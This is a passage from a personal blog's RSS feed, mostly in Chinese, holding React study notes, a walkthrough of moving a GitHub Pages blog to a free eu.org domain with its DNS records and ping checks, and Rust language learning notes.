<p>读<a href="https://github.com/paul-ll/my_book/blob/master/React%E5%AE%9E%E6%88%98%EF%BC%9A%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E5%92%8C%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/%E7%BB%84%E4%BB%B6%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%EF%BC%882%EF%BC%89%EF%BC%9A%E9%AB%98%E9%98%B6%E7%BB%84%E4%BB%B6.md"  target="_blank" rel="noopener" >my_book/React实战：设计模式和最佳实践/组件设计模式（2）：高阶组件.md at master · paul-ll/my_book</a></p>
<p>摘录其中内容作为我的笔记</p>
<ul>
<li>
<p>高阶组件的定义:</p>
<ul>
<li>一个纯函数</li>
<li>接收组件作为参数</li>
<li>返回一个新的组件</li>
<li>高阶组件的命名一般都带 with 前缀，命名中后面的部分代表这个高阶组件的功能</li>
</ul>
</li>
<li>
<p>示例</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JSX" data-lang="JSX"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">withLoginAndLogout</span> <span class="o">=</span> <span class="p">(</span><span class="nx">ComponentForLogin</span><span class="p">,</span> <span class="nx">ComponentForLogout</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">NewComponent</span> <span class="o">=</span> <span class="p">(</span><span class="nx">props</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">getUserId</span><span class="p">())</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="p">&lt;</span><span class="nt">ComponentForLogin</span> <span class="p">{</span><span class="na">...props</span><span class="p">}</span> <span class="p">/&gt;;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="p">&lt;</span><span class="nt">ComponentForLogout</span><span class="p">{</span><span class="na">...props</span><span class="p">}</span> <span class="p">/&gt;;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">NewComponent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">TopButtons</span> <span class="o">=</span> <span class="nx">withLoginAndLogout</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">  <span class="nx">LogoutButton</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">LoginButton</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span></code></pre></div><hr>
<h2 id="2024年10月17日">2024年10月17日</h2>
<p>react的单向数据流怎么理解，有什么好处？</p>
<ul>
<li>
<p>数据流：也就是数据在不同组件或节点之间的流动</p>
</li>
<li>
<p>单向:  react规定了数据的流向是从外层组件向内层组件进行传递和更新的，而内层组件是无法直接修改props影响外层的。</p>
</li>
<li>
<p>好处:</p>
<ol>
<li>如果内层的组件可以通过修改props来修改外层的数据，那么外层使用到这个数据或者其他使用到这个数据的地方都会造成数据更新，UI渲染也会改变，这会造成数据紊乱和不可控。所以为了<strong>更好的可控性</strong>，react设计了单向数据流。</li>
<li>所有的数据更新是单向的，那么出现问题的时候会更好溯源，因为修改数据的链路是确定的，排查起来顺着调用链就可以一层一层找到问题了。</li>
</ol>
</li>
<li>
<p>引申</p>
<ul>
<li>useContext</li>
<li>forwardRef, useImperativeHandle</li>
</ul>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://www.nowcoder.com/feed/main/detail/04aee48cc23f4b09a04d0dba327f0c5d?sourceSSR=search"  target="_blank" rel="noopener" >70场面试，复盘我遇到的有趣问题（二）_牛客网</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://blog.skk.moe/post/why-you-should-not-fetch-data-directly-in-use-effect/"  target="_blank" rel="noopener" >为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka&rsquo;s Blog</a></li>
<li><a href="https://stackoverflow.com/questions/55622768/uncaught-invariant-violation-rendered-more-hooks-than-during-the-previous-rende"  target="_blank" rel="noopener" >javascript - Uncaught Invariant Violation: Rendered more hooks than during the previous render - Stack Overflow</a></li>
<li><a href="https://jotai.org/"  target="_blank" rel="noopener" >Jotai, primitive and flexible state management for React</a></li>
<li><a href="https://prin.pw/react-unstable-nested-components/"  target="_blank" rel="noopener" >真的不可以在 React 组件内部嵌套定义子组件吗？ - PRIN BLOG</a></li>
<li><a href="https://react.dev/reference/react/useCallback"  target="_blank" rel="noopener" >useCallback – React</a></li>
<li><a href="https://blog.skk.moe/post/react-re-renders-101/"  target="_blank" rel="noopener" >React 为什么重新渲染 | Sukka&rsquo;s Blog</a></li>
<li><a href="https://react.dev/learn/render-and-commit"  target="_blank" rel="noopener" >Render and Commit – React</a></li>
<li><a href="https://zh-hans.react.dev/reference/react/Fragment"  target="_blank" rel="noopener" ><!-- raw HTML omitted --> (&lt;&gt;&hellip;&lt;/&gt;) – React 中文文档</a></li>
<li><a href="https://zh-hans.react.dev/learn/referencing-values-with-refs#differences-between-refs-and-state"  target="_blank" rel="noopener" >使用 ref 引用值 – React 中文文档</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>换域名喽</title>
      <link>https://ds63.eu.org/2023/%E6%8D%A2%E5%9F%9F%E5%90%8D%E5%96%BD/</link>
      <pubDate>Thu, 17 Aug 2023 23:50:11 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/%E6%8D%A2%E5%9F%9F%E5%90%8D%E5%96%BD/</guid>
      <description>更换域名为ds63.eu.org</description>
      <content:encoded><![CDATA[<h2 id="缘起">缘起</h2>
<p>我博客有相当一段时间，一直是使用默认的域名。而且我其实并不太想去修改，原因是我博客使用的是Github Page。我想信：背靠着微软，GitHub所提供的这项服务的可靠性会比我私人所申请的域名要可靠得多。而我一直秉持着这样一个观点：一个博客的死亡并不是其不再更新，而是无法访问。也就是说，我认为博客的持续性是要优先于其他很多方面的。</p>
<p>但今天意外发现邮箱里有封邮件，通知我说申请的域名通过了。十分惊喜，因为我已经忘了这件事了。既然手头上有一个域名，上学期也学了相关的知识，干脆就试一试，在此次梳理下相应的步骤。</p>
<h2 id="步骤">步骤</h2>
<ol>
<li>
<p>申请/购买域名</p>
<p>我使用的是<a href="https://nic.eu.org/"  target="_blank" rel="noopener" >EU.org</a>。好处是免费，但所需时间很长。我在5月27日申请的，直到昨天（8月16日）才通过。</p>
</li>
<li>
<p>选择域名解析服务商</p>
<p>我选择的是<a href="https://hostry.com/"  target="_blank" rel="noopener" >hostry</a>,原因是免费。</p>
</li>
<li>
<p>Navigate to your DNS provider and create either an ALIAS, ANAME, or A record.</p>
<p>以下是我设置中的一部分：</p>
<table>
<thead>
<tr>
<th>SUBDOMAIN</th>
<th>TYPE</th>
<th>VALUE</th>
<th>TTL, SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>@</td>
<td>A</td>
<td>185.199.108.153</td>
<td>86400</td>
</tr>
<tr>
<td>@</td>
<td>AAAA</td>
<td>2606:50c0:8000::153</td>
<td>86400</td>
</tr>
<tr>
<td>www</td>
<td>CNAME</td>
<td>euds63.github.io</td>
<td>86400</td>
</tr>
</tbody>
</table>
</li>
</ol>
<p>在Claude的帮助下，我知道：</p>
<ul>
<li>A记录(Address Record):将域名直接映射到一个IPv4地址。它是最基本的域名记录类型。GitHub提供了4个IP地址,而不是一个IP,主要出于负载均衡和容错的考虑</li>
<li>AAAA记录(Quad-A record):用于将域名映射到IPv6地址。</li>
<li>CNAME记录(Canonical Name Record):将域名映射到另一个域名,实现域名别名的作用</li>
</ul>
<p>值得注意的是<code>www CNAME euds63.github.io 86400</code>，我看到其他的教程有的是将SUBDOMAIN设置为<code>@</code>,但我的情况下会报错<code>Existing record 'SOA' conflicts with the code you are trying to create Cname should not have the same name as other records</code></p>
<ol start="4">
<li>Github配置
<ul>
<li>Under &ldquo;Custom domain&rdquo;, type your custom domain, then click Save.</li>
<li>勾选Enforce HTTPS</li>
</ul>
</li>
</ol>
<p><strong>很明显，这里Github帮我们简化了许多操作。包括哪些呢?</strong></p>
<p>由<a href="https://docs.github.com/en/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https"  target="_blank" rel="noopener" >Securing your GitHub Pages site with HTTPS</a>可知，当set or change your custom domain in the Pages setting后，GitHub</p>
<ol>
<li>begin an automatic DNS check . This check determines if your DNS settings are configured to allow GitHub to obtain a certificate automatically.</li>
<li>If the check is successful, GitHub queues a job to request a TLS certificate from Let&rsquo;s Encrypt.</li>
<li>On receiving a valid certificate, GitHub automatically uploads it to the servers that handle TLS termination for Pages. When this process completes successfully, a check mark is displayed beside your custom domain name.</li>
</ol>
<p><strong>但如果不是用的Github Page，要怎么做呢？</strong></p>
<h2 id="验证">验证</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ ping ds63.eu.org
</span></span><span class="line"><span class="cl">正在 Ping ds63.eu.org <span class="o">[</span>185.199.108.153<span class="o">]</span> 具有 <span class="m">32</span> 字节的数据:
</span></span><span class="line"><span class="cl">来自 185.199.108.153 的回复: <span class="nv">字节</span><span class="o">=</span><span class="m">32</span> <span class="nv">时间</span><span class="o">=</span>77ms <span class="nv">TTL</span><span class="o">=</span><span class="m">54</span>
</span></span><span class="line"><span class="cl">来自 185.199.108.153 的回复: <span class="nv">字节</span><span class="o">=</span><span class="m">32</span> <span class="nv">时间</span><span class="o">=</span>103ms <span class="nv">TTL</span><span class="o">=</span><span class="m">54</span>
</span></span><span class="line"><span class="cl">来自 185.199.108.153 的回复: <span class="nv">字节</span><span class="o">=</span><span class="m">32</span> <span class="nv">时间</span><span class="o">=</span>76ms <span class="nv">TTL</span><span class="o">=</span><span class="m">54</span>
</span></span><span class="line"><span class="cl">来自 185.199.108.153 的回复: <span class="nv">字节</span><span class="o">=</span><span class="m">32</span> <span class="nv">时间</span><span class="o">=</span>77ms <span class="nv">TTL</span><span class="o">=</span><span class="m">54</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">185.199.108.153 的 Ping 统计信息:
</span></span><span class="line"><span class="cl">    数据包: <span class="nv">已发送</span> <span class="o">=</span> 4，已接收 <span class="o">=</span> 4，丢失 <span class="o">=</span> <span class="m">0</span> <span class="o">(</span>0% 丢失<span class="o">)</span>，
</span></span><span class="line"><span class="cl">往返行程的估计时间<span class="o">(</span>以毫秒为单位<span class="o">)</span>:
</span></span><span class="line"><span class="cl">    <span class="nv">最短</span> <span class="o">=</span> 76ms，最长 <span class="o">=</span> 103ms，平均 <span class="o">=</span> 83ms
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ ping -6 ds63.eu.org
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">正在 Ping ds63.eu.org <span class="o">[</span>2606:50c0:8001::153<span class="o">]</span> 具有 <span class="m">32</span> 字节的数据:
</span></span><span class="line"><span class="cl">来自 2606:50c0:8001::153 的回复: <span class="nv">时间</span><span class="o">=</span>74ms
</span></span><span class="line"><span class="cl">来自 2606:50c0:8001::153 的回复: <span class="nv">时间</span><span class="o">=</span>81ms
</span></span><span class="line"><span class="cl">来自 2606:50c0:8001::153 的回复: <span class="nv">时间</span><span class="o">=</span>74ms
</span></span><span class="line"><span class="cl">来自 2606:50c0:8001::153 的回复: <span class="nv">时间</span><span class="o">=</span>72ms
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2606:50c0:8001::153 的 Ping 统计信息:
</span></span><span class="line"><span class="cl">    数据包: <span class="nv">已发送</span> <span class="o">=</span> 4，已接收 <span class="o">=</span> 4，丢失 <span class="o">=</span> <span class="m">0</span> <span class="o">(</span>0% 丢失<span class="o">)</span>，
</span></span><span class="line"><span class="cl">往返行程的估计时间<span class="o">(</span>以毫秒为单位<span class="o">)</span>:
</span></span><span class="line"><span class="cl">    <span class="nv">最短</span> <span class="o">=</span> 72ms，最长 <span class="o">=</span> 81ms，平均 <span class="o">=</span> 75ms
</span></span></code></pre></div><h1 id="参考资料">参考资料</h1>
<ul>
<li><a href="https://docs.github.com/en/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site"  target="_blank" rel="noopener" >Managing a custom domain for your GitHub Pages site</a></li>
<li><a href="https://www.yong.eu.org/detail/15112.html"  target="_blank" rel="noopener" >GitHub Pages绑定个人域名并启用https</a></li>
<li><a href="https://docs.github.com/en/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https"  target="_blank" rel="noopener" >Securing your GitHub Pages site with HTTPS</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Rust_Learning</title>
      <link>https://ds63.eu.org/2023/rust_learning/</link>
      <pubDate>Tue, 18 Jul 2023 16:25:21 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/rust_learning/</guid>
      <description>no panic</description>
      <content:encoded><![CDATA[<h1 id="rust_learning">Rust_Learning</h1>
<p><strong>记录我的Rust学习</strong></p>
<h2 id="cargo使用">Cargo使用</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">cargo new
</span></span><span class="line"><span class="cl">cargo build 
</span></span><span class="line"><span class="cl">cargo run
</span></span><span class="line"><span class="cl">cargo check
</span></span><span class="line"><span class="cl">cargo doc --open <span class="c1">#build documentation provided by all your dependencies locally and open it in your browser</span>
</span></span></code></pre></div><h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://course.rs/"  target="_blank" rel="noopener" >Rust语言圣经</a></li>
<li><a href="https://rust-book.cs.brown.edu/"  target="_blank" rel="noopener" >The Rust Programming Language</a></li>
<li><a href="https://zh.practice.rs/"  target="_blank" rel="noopener" >Rust语言实战</a></li>
<li><a href="https://picklenerd.github.io/"  target="_blank" rel="noopener" >PNGme</a></li>
</ul>
<h2 id="rust特点">Rust特点</h2>
<ul>
<li>Patterns and the match construct</li>
<li>a strong, static type system.</li>
<li>type inference</li>
<li>shadow</li>
<li>Rust uses the term panicking when a program exits with an error</li>
<li>requiring type annotations in function definitions</li>
<li>Rust&rsquo;s goal is to compile programs into efficient binaries that <em>require as few runtime checks as possible</em></li>
<li>A foundational goal of Rust is to ensure that your programs never have undefined behavior</li>
</ul>
<h2 id="chapter3-common-programming-concepts">Chapter3 Common Programming Concepts</h2>
<ul>
<li>constant v.s. variable
<ol>
<li>Constants aren’t just immutable by default;they’re always immutable.</li>
<li>Constants can be declared in any scope</li>
<li>Constants may be set only to a constant expression, not the result of a value that could only be computed at runtime.</li>
</ol>
</li>
<li>shadow ends until
<ol>
<li>it itself is shadowed</li>
<li>the scope ends</li>
</ol>
</li>
<li>Integer division truncates toward zero to the nearest integer</li>
<li>tuple和array区别
<ol>
<li>tuple的各类型可以不同；</li>
<li>array的大小固定,在定义时就指定了</li>
<li>tuple更灵活,可存储不同类型,一般用于临时组合数据</li>
<li>array大小固定,用于存储大量相同类型的数据</li>
</ol>
</li>
<li>expression and statement
<ol>
<li>Expressions do not include ending semicolons</li>
<li>statement does not return a value</li>
<li>the return value of the function is synonymous with <em>the value of the final expression in the block of the body of a function</em></li>
</ol>
</li>
<li>Control Flow
<ol>
<li>This means the values that have the potential to be results from each arm of the if must be the same type</li>
<li>Rust does not have a concept of &ldquo;truthy&rdquo; or &ldquo;falsy&rdquo; values.So <em>The condition to an if-expression must be a boolean</em></li>
</ol>
</li>
</ul>
<h2 id="chapter4-understanding-ownship">Chapter4 Understanding Ownship</h2>
<ul>
<li>The stack holds data associated with a specific function, while the heap holds data that can outlive a function</li>
<li>Rust does not allow programs to manually deallocate memory. That policy avoids the kinds of undefined behaviors shown above.</li>
<li>Box deallocation principle : If a variable owns a box, when Rust deallocates the variable&rsquo;s frame, then Rust deallocates the box&rsquo;s heap memory.</li>
<li>Moved heap data principle: if a variable x moves ownership of heap data to another variable y, then x cannot be used after the move.</li>
<li>A reference is a kind of pointer.</li>
<li>Rust implicitly inserts dereferences and references in certain cases, such as calling a method with the dot operator</li>
<li><em>Pointer Safety Principle</em>: data should never be aliased and mutated at the same time.</li>
<li>Permissions are defined on <em>paths</em> and not just variables. A path is anything you can put on the left-hand side of an assignment.</li>
<li>Creating a reference to data (&quot;<em>borrowing</em>&quot; it) causes that data to be temporarily read-only until the reference is no longer used.</li>
<li>Rust&rsquo;s borrow checker does not contain different paths for a[0], a[1], and so on. It uses a single path a[_] that represents all indexes of a.</li>
<li>Slices are special kinds of references because they are &ldquo;fat&rdquo; pointers, or pointers with metadata. Here, the metadata is the length of the slice.</li>
</ul>
<h3 id="总结">总结</h3>
<ul>
<li>优势
<ol>
<li>improving runtime performance by avoiding garbage collection</li>
<li>improving predictability by preventing accidental &ldquo;leaks&rdquo; of data.</li>
</ol>
</li>
<li>Pointers can be created through
<ol>
<li>boxes (pointers owning data on the heap)</li>
<li>references (non-owning pointers).</li>
</ol>
</li>
<li>move v.s. borrow
<ul>
<li>A move of a variable with a non-copyable type (like Box<!-- raw HTML omitted --> or String) requires the RO permissions, and the move eliminates all permissions on the variable. That rule prevents the use of moved variables:</li>
<li>Borrowing a variable (creating a reference to it) temporarily removes some of the variable&rsquo;s permissions
<ul>
<li>An immutable borrow creates an immutable reference, and also <em>disables the borrowed data from being mutated or moved.</em></li>
<li>A mutable borrow creates a mutable reference, which* disables the borrowed data from being read, written, or moved*</li>
</ul>
</li>
</ul>
</li>
<li>use-after-free: <em>Immutable borrows</em> remove the W permission to avoid use-after-free,</li>
<li>double-frees: Dereferences of references to non-copyable data do not have the O permission to avoid double-frees</li>
</ul>
<h2 id="chapter5-struct">Chapter5 Struct</h2>
<ul>
<li>Rust <em>does not have a keyword for constructor functions</em>. The idiomatic way to define a constructor function is to make an associated function called new, but that is not enforced by the language.</li>
<li>tuple struct. e.g. <code>struct Color (i32,i32,i32);</code></li>
<li>Rust will insert as many references and dereferences as needed to make the types match up for the self parameter</li>
<li>Rust does not auto-derive Copy for stability across API changes. <code>#[derive(Copy, Clone)]</code></li>
<li>when you see an error like &ldquo;cannot move out of *self&rdquo;, that&rsquo;s usually because you&rsquo;re trying to call a self method on a reference like &amp;self or &amp;mut self. Rust is protecting you from a double-free</li>
</ul>
<h2 id="chapter6-enum">Chapter6 Enum</h2>
<ul>
<li>advantage to using an enum rather than a struct:</li>
</ul>
<ol>
<li>each variant can have different types and amounts of associated data</li>
<li>the name of each enum variant that we define also becomes a function that constructs an instance of the enum</li>
<li>you can put any kind of data inside an enum variant: strings, numeric types, or structs, for example. You can even include another enum</li>
</ol>
<ul>
<li>
<p>The Option Enum</p>
<ol>
<li>the compiler can check whether you’ve handled all the cases you should be handling</li>
<li>a null is a value that is currently invalid or absent for some reason.</li>
<li>Rust does not have nulls, but it does have an enum that can encode the concept of a value being present or absent.</li>
<li>The function Option::unwrap expects <em>self</em>, meaning it expects <em>ownership</em> of arg. However arg is an <em>immutable reference</em> to an option, so it cannot provide ownership of the option.</li>
</ol>
</li>
<li>
<p>match</p>
</li>
<li>
<p>Each match is tried from top to bottom</p>
</li>
<li>
<p>opt is a plain enum — its type is Option<!-- raw HTML omitted --> and not a reference like &amp;Option<!-- raw HTML omitted -->. Therefore a match on opt will move non-ignored fields like s.</p>
</li>
<li>
<p>If we want to peek into opt without moving its contents, the idiomatic solution is to match on a reference:</p>
</li>
<li>
<p><code>if let</code></p>
<ul>
<li>if let as syntax sugar for a match that runs code when the value matches one pattern and then ignores all other values.</li>
<li>The block of code that goes with the else is the same as the block of code that would go with the _ case in the match expression that is equivalent to the if let and else</li>
</ul>
</li>
</ul>
<h2 id="chapter7-managing-growing-projects-with-packages-crates-and-modules">Chapter7 Managing Growing Projects with Packages, Crates, and Modules</h2>
<h3 id="packages-a-cargo-feature-that-lets-you-build-test-and-share-crates">Packages: A Cargo feature that lets you build, test, and share crates</h3>
<ul>
<li>a bundle of one or more crates that provides a set of functionality.</li>
<li>A package can contain as many binary crates as you like, but at most only one library crate.</li>
<li>Using External Packages
<ol>
<li>the standard std library is also a crate that’s external to our package.we <em>don’t</em> need to change Cargo.toml to include std. But <em>we do need to refer to it</em> with use to bring items from there into our package’s scope</li>
</ol>
</li>
</ul>
<h3 id="crates-a-tree-of-modules-that-produces-a-library-or-executable">Crates: A tree of modules that produces a library or executable</h3>
<ul>
<li>Binary create: must have a function called <code>main</code></li>
<li>Library crates : define functionality intended to be shared with multiple projects.
Rustaceans say “crate”, they mean library crate, and they use “crate” interchangeably with the general programming concept of a <em>“library&quot;</em>.</li>
</ul>
<h3 id="modules-and-use-let-you-control-the-organization-scope-and-privacy-of-paths">Modules and use: Let you control the organization, scope, and privacy of paths</h3>
<ul>
<li>用处
<ol>
<li>let us organize code within a crate for readability and easy reuse</li>
<li>allow us to control the privacy of items, because code within a module is private by default</li>
</ol>
</li>
<li>parent and child
<ol>
<li>all items (functions, methods, structs, enums, modules, and constants) <em>are private to parent modules</em> by default.</li>
<li>Items in a parent module can’t use the private items inside child modules, but items in child modules can use the items in their ancestor modules.</li>
</ol>
</li>
</ul>
<h3 id="paths-a-way-of-naming-an-item-such-as-a-struct-function-or-module">Paths: A way of naming an item, such as a struct, function, or module</h3>
<ul>
<li>the idiomatic way
<ol>
<li>Bringing the function’s parent module into scope with use</li>
<li>when bringing in structs, enums, and other items with use, it’s idiomatic to specify the full path</li>
</ol>
</li>
<li><code>use std::io::Result as IoResult;</code></li>
<li>we can use nested paths to bring the same items into scope in one line.<code>use std::{cmp::Ordering, io};</code>,<code>use std::io::{self, Write};</code></li>
</ul>
<h2 id="chapter8">Chapter8</h2>
<h3 id="vector">Vector</h3>
<ul>
<li>Reason for a reference to the first element care about changes at the end of the vector
<ol>
<li>adding a new element onto the end of the vector might require allocating new memory and copying the old elements <em>to the new space</em></li>
<li>the reference to the first element would be pointing to <em>deallocated memory</em></li>
</ol>
</li>
<li>Vec::push moves its argument, so s is not usable after calling v.push(s)</li>
<li>When the vector gets dropped, all of its contents are also dropped, meaning the integers it holds will be cleaned up.</li>
</ul>
<h3 id="string">String</h3>
<ul>
<li>the compiler can coerce the &amp;String argument into a &amp;str</li>
<li>Rust strings don’t support indexing to <em>avoid returning an unexpected value and causing bugs that might not be discovered immediately</em></li>
<li>three relevant ways to look at strings from Rust’s perspective
<ol>
<li>bytes</li>
<li>scalar values</li>
<li>grapheme clusters</li>
</ol>
</li>
<li>The best way to operate on pieces of strings is to <em>be explicit about whether you want</em> characters or bytes</li>
<li>&amp;str is a promise that the byte sequence it points to will always be valid UTF-8</li>
</ul>
<h3 id="hash-map">hash map</h3>
<ul>
<li>Hash maps are useful when you want to look up data not by using an index, as you can with vectors, but by using a key that can be of any type</li>
<li>For types that implement the Copy trait, like i32, the values are copied into the hash map. - For <em>owned values</em> like String, the values will be moved and the hash map will be <em>the owner of those values</em></li>
</ul>
<h2 id="chapter10">chapter10</h2>
<h3 id="generic-data-types">Generic Data Types</h3>
<ul>
<li>Rust instead requires you to state the expected capabilities of generic types up front</li>
<li>Without restrictions, a generic type T has no capabilities: it cannot be printed, cloned, or mutated (although it can be dropped).</li>
<li>Rust does not have inheritance-like mechanisms for specializing methods as you might find in an object-oriented language,</li>
<li>Monomorphization is the process of turning generic code into specific code by filling in the concrete types that are used when compiled</li>
<li>const 泛型： <code>const N : usize</code></li>
</ul>
<h3 id="trait">trait</h3>
<ul>
<li>A trait defines functionality a particular type has and can share with other types.</li>
<li>One restriction to note is that we can implement a trait on a type only if at least one of the trait or the type is local to our crate.</li>
<li>Default implementations can call other methods in the same trait, even if those other methods don’t have a default implementation</li>
<li>traits in parameter
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Rust" data-lang="Rust"><span class="line"><span class="cl"><span class="k">fn</span> <span class="nf">some_function</span><span class="o">&lt;</span><span class="n">T</span>:<span class="nc">Display</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">Clone</span><span class="w"> </span><span class="p">,</span><span class="n">U</span>: <span class="nb">Clone</span> <span class="o">+</span><span class="w"> </span><span class="n">Debug</span><span class="o">&gt;</span><span class="p">(</span><span class="n">t</span>:<span class="kp">&amp;</span><span class="nc">T</span><span class="p">,</span><span class="n">u</span>:<span class="kp">&amp;</span><span class="nc">U</span><span class="p">)</span><span class="w"> </span>-&gt; <span class="kt">i32</span><span class="p">{}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c1">// Clearer Trait Bounds with where Clauses
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">fn</span> <span class="nf">some_function</span><span class="o">&lt;</span><span class="n">T</span><span class="p">,</span><span class="n">U</span><span class="o">&gt;</span><span class="p">()(</span><span class="n">t</span>:<span class="kp">&amp;</span><span class="nc">T</span><span class="p">,</span><span class="n">u</span>:<span class="kp">&amp;</span><span class="nc">U</span><span class="p">)</span><span class="w"> </span>-&gt; <span class="kt">i32</span>
</span></span><span class="line"><span class="cl"><span class="nc">where</span><span class="w"> 
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="n">T</span>:<span class="nc">Display</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">Clone</span><span class="w"> </span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="n">U</span>: <span class="nb">Clone</span> <span class="o">+</span><span class="w"> </span><span class="n">Debug</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">{}</span><span class="w">
</span></span></span></code></pre></div></li>
<li>can only use impl Trait if you’re returning a single type</li>
<li>Using Trait Bounds to Conditionally Implement Methods
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Rust" data-lang="Rust"><span class="line"><span class="cl"><span class="k">use</span><span class="w"> </span><span class="n">std</span>::<span class="n">fmt</span>::<span class="n">Display</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">struct</span> <span class="nc">Pair</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">x</span>: <span class="nc">T</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">y</span>: <span class="nc">T</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">impl</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="w"> </span><span class="n">Pair</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">fn</span> <span class="nf">new</span><span class="p">(</span><span class="n">x</span>: <span class="nc">T</span><span class="p">,</span><span class="w"> </span><span class="n">y</span>: <span class="nc">T</span><span class="p">)</span><span class="w"> </span>-&gt; <span class="nc">Self</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="bp">Self</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">x</span><span class="p">,</span><span class="w"> </span><span class="n">y</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">impl</span><span class="o">&lt;</span><span class="n">T</span>: <span class="nc">Display</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">PartialOrd</span><span class="o">&gt;</span><span class="w"> </span><span class="n">Pair</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">fn</span> <span class="nf">cmp_display</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">x</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">y</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="fm">println!</span><span class="p">(</span><span class="s">&#34;The largest member is x = </span><span class="si">{}</span><span class="s">&#34;</span><span class="p">,</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">x</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="fm">println!</span><span class="p">(</span><span class="s">&#34;The largest member is y = </span><span class="si">{}</span><span class="s">&#34;</span><span class="p">,</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">y</span><span class="p">);</span><span class="w">
